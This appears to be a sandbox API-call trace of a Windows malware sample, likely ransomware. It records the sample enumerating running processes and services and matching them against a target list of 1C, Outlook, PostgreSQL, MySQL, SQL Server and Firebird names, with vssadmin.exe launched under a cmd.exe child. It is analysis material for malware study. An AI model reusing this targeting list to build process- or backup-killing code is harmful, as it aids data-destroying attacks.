	[0050.700] Process32NextW (in: hSnapshot=0x200, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0050.700] lstrlenW (lpString="smss.exe") returned 8
	[0050.701] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1
	[0050.701] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1
	[0050.701] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
	[0050.701] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1
	[0050.701] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0050.701] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0050.701] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0050.701] Process32NextW (in: hSnapshot=0x200, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0050.701] lstrlenW (lpString="csrss.exe") returned 9
	[0050.701] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0050.701] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0050.702] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0050.702] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0050.702] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0050.702] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0050.702] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0050.702] Process32NextW (in: hSnapshot=0x200, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0050.702] lstrlenW (lpString="wininit.exe") returned 11
	[0050.702] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1
	[0050.702] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1
	[0050.702] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0050.703] Process32NextW (in: hSnapshot=0x200, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0050.703] lstrlenW (lpString="csrss.exe") returned 9
	[0050.703] Process32NextW (in: hSnapshot=0x200, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0050.704] lstrlenW (lpString="winlogon.exe") returned 12
	[0050.704] Process32NextW (in: hSnapshot=0x200, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0050.705] lstrlenW (lpString="services.exe") returned 12
	[0050.705] Process32NextW (in: hSnapshot=0x200, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0050.706] lstrlenW (lpString="lsass.exe") returned 9
	[0050.706] Process32NextW (in: hSnapshot=0x200, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0050.706] lstrlenW (lpString="lsm.exe") returned 7
	[0050.706] Process32NextW (in: hSnapshot=0x200, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0050.707] lstrlenW (lpString="svchost.exe") returned 11
	[0050.707] Process32NextW (in: hSnapshot=0x200, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0050.708] lstrlenW (lpString="svchost.exe") returned 11
	[0050.708] Process32NextW (in: hSnapshot=0x200, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0050.709] lstrlenW (lpString="svchost.exe") returned 11
	[0050.709] Process32NextW (in: hSnapshot=0x200, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0050.709] lstrlenW (lpString="svchost.exe") returned 11
	[0050.710] Process32NextW (in: hSnapshot=0x200, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0050.710] lstrlenW (lpString="svchost.exe") returned 11
	[0050.710] Process32NextW (in: hSnapshot=0x200, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0050.711] lstrlenW (lpString="audiodg.exe") returned 11
	[0050.711] Process32NextW (in: hSnapshot=0x200, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0050.712] lstrlenW (lpString="svchost.exe") returned 11
	[0050.712] Process32NextW (in: hSnapshot=0x200, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0050.713] lstrlenW (lpString="svchost.exe") returned 11
	[0050.713] Process32NextW (in: hSnapshot=0x200, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0050.713] lstrlenW (lpString="dwm.exe") returned 7
	[0050.713] Process32NextW (in: hSnapshot=0x200, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0050.714] lstrlenW (lpString="explorer.exe") returned 12
	[0050.714] Process32NextW (in: hSnapshot=0x200, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0050.715] lstrlenW (lpString="spoolsv.exe") returned 11
	[0050.715] Process32NextW (in: hSnapshot=0x200, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0050.716] lstrlenW (lpString="taskhost.exe") returned 12
	[0050.716] Process32NextW (in: hSnapshot=0x200, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0050.716] lstrlenW (lpString="svchost.exe") returned 11
	[0050.716] Process32NextW (in: hSnapshot=0x200, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1
	[0050.717] lstrlenW (lpString="taskeng.exe") returned 11
	[0050.717] Process32NextW (in: hSnapshot=0x200, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0050.718] lstrlenW (lpString="taskhost.exe") returned 12
	[0050.718] Process32NextW (in: hSnapshot=0x200, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="program.exe")) returned 1
	[0050.719] lstrlenW (lpString="program.exe") returned 11
	[0050.719] Process32NextW (in: hSnapshot=0x200, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="felt.exe")) returned 1
	[0050.720] lstrlenW (lpString="felt.exe") returned 8
	[0050.720] Process32NextW (in: hSnapshot=0x200, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bibliography.exe")) returned 1
	[0050.720] lstrlenW (lpString="bibliography.exe") returned 16
	[0050.720] Process32NextW (in: hSnapshot=0x200, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="georgeeliteopening.exe")) returned 1
	[0050.721] lstrlenW (lpString="georgeeliteopening.exe") returned 22
	[0050.721] Process32NextW (in: hSnapshot=0x200, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="commissioners_o_tiny.exe")) returned 1
	[0050.980] lstrlenW (lpString="commissioners_o_tiny.exe") returned 24
	[0050.982] Process32NextW (in: hSnapshot=0x200, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="converter.exe")) returned 1
	[0050.998] lstrlenW (lpString="converter.exe") returned 13
	[0051.000] Process32NextW (in: hSnapshot=0x200, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="once.exe")) returned 1
	[0051.013] lstrlenW (lpString="once.exe") returned 8
	[0051.019] Process32NextW (in: hSnapshot=0x200, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bras_cod_tribune.exe")) returned 1
	[0051.020] lstrlenW (lpString="bras_cod_tribune.exe") returned 20
	[0051.020] Process32NextW (in: hSnapshot=0x200, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="always.exe")) returned 1
	[0051.021] lstrlenW (lpString="always.exe") returned 10
	[0051.021] Process32NextW (in: hSnapshot=0x200, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="walkerusefuldifferently.exe")) returned 1
	[0051.021] lstrlenW (lpString="walkerusefuldifferently.exe") returned 27
	[0051.022] Process32NextW (in: hSnapshot=0x200, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="donated.exe")) returned 1
	[0051.022] lstrlenW (lpString="donated.exe") returned 11
	[0051.022] Process32NextW (in: hSnapshot=0x200, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowherepike.exe")) returned 1
	[0051.023] lstrlenW (lpString="nowherepike.exe") returned 15
	[0051.023] Process32NextW (in: hSnapshot=0x200, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="packagevolkswagen.exe")) returned 1
	[0051.024] lstrlenW (lpString="packagevolkswagen.exe") returned 21
	[0051.024] Process32NextW (in: hSnapshot=0x200, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="roommate_ordinary.exe")) returned 1
	[0051.025] lstrlenW (lpString="roommate_ordinary.exe") returned 21
	[0051.025] Process32NextW (in: hSnapshot=0x200, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="allowance.exe")) returned 1
	[0051.025] lstrlenW (lpString="allowance.exe") returned 13
	[0051.025] Process32NextW (in: hSnapshot=0x200, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conducting affect.exe")) returned 1
	[0051.026] lstrlenW (lpString="conducting affect.exe") returned 21
	[0051.026] Process32NextW (in: hSnapshot=0x200, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="plaintiff.exe")) returned 1
	[0051.027] lstrlenW (lpString="plaintiff.exe") returned 13
	[0051.027] Process32NextW (in: hSnapshot=0x200, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dialog.exe")) returned 1
	[0051.028] lstrlenW (lpString="dialog.exe") returned 10
	[0051.028] Process32NextW (in: hSnapshot=0x200, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="katrinaupgradingfruits.exe")) returned 1
	[0051.028] lstrlenW (lpString="katrinaupgradingfruits.exe") returned 26
	[0051.028] Process32NextW (in: hSnapshot=0x200, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spa-podcasts.exe")) returned 1
	[0051.029] lstrlenW (lpString="spa-podcasts.exe") returned 16
	[0051.029] Process32NextW (in: hSnapshot=0x200, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0051.030] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0051.030] Process32NextW (in: hSnapshot=0x200, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x918, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="swpesp.exe")) returned 1
	[0051.031] lstrlenW (lpString="swpesp.exe") returned 10
	[0051.031] Process32NextW (in: hSnapshot=0x200, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x918, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0051.031] lstrlenW (lpString="cmd.exe") returned 7
	[0051.031] Process32NextW (in: hSnapshot=0x200, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x958, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0051.032] lstrlenW (lpString="conhost.exe") returned 11
	[0051.032] Process32NextW (in: hSnapshot=0x200, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x988, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x92c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0051.033] lstrlenW (lpString="vssadmin.exe") returned 12
	[0051.033] Process32NextW (in: hSnapshot=0x200, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1
	[0051.034] lstrlenW (lpString="VSSVC.exe") returned 9
	[0051.034] Process32NextW (in: hSnapshot=0x200, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0051.034] lstrlenW (lpString="svchost.exe") returned 11
	[0051.034] Process32NextW (in: hSnapshot=0x200, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0
	[0051.035] CloseHandle (hObject=0x200) returned 1
	[0051.035] Sleep (dwMilliseconds=0x1f4) 
	[0051.809] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x35d0700
	[0051.809] EnumServicesStatusExW (in: hSCManager=0x35d0700, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0) returned 0
	[0051.809] GetLastError () returned 0xea
	[0051.810] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x12c6) returned 0x3ea0058
	[0051.810] EnumServicesStatusExW (in: hSCManager=0x35d0700, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3ea0058, cbBufSize=0x12c6, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3ea0058, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0) returned 1
	[0051.810] CloseServiceHandle (hSCObject=0x35d0700) returned 1
	[0051.810] lstrlenW (lpString="Appinfo") returned 7
	[0051.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0051.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0051.811] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0051.811] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0051.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0051.811] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0051.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0051.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0051.811] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0051.811] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0051.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0051.811] lstrlenW (lpString="AudioSrv") returned 8
	[0051.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1
	[0051.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1
	[0051.811] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1
	[0051.811] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1
	[0051.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1
	[0051.811] lstrlenW (lpString="BFE") returned 3
	[0051.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0051.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0051.811] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0051.811] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0051.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0051.811] lstrlenW (lpString="CryptSvc") returned 8
	[0051.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0051.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0051.811] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0051.811] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0051.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0051.811] lstrlenW (lpString="CscService") returned 10
	[0051.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1
	[0051.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1
	[0051.812] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1
	[0051.812] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1
	[0051.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1
	[0051.812] lstrlenW (lpString="DcomLaunch") returned 10
	[0051.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0051.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0051.812] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0051.812] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0051.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0051.812] lstrlenW (lpString="Dhcp") returned 4
	[0051.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0051.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0051.812] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0051.812] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0051.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0051.812] lstrlenW (lpString="Dnscache") returned 8
	[0051.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0051.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0051.812] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0051.812] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0051.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0051.812] lstrlenW (lpString="DPS") returned 3
	[0051.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0051.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0051.812] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0051.812] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0051.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0051.812] lstrlenW (lpString="eventlog") returned 8
	[0051.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1
	[0051.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1
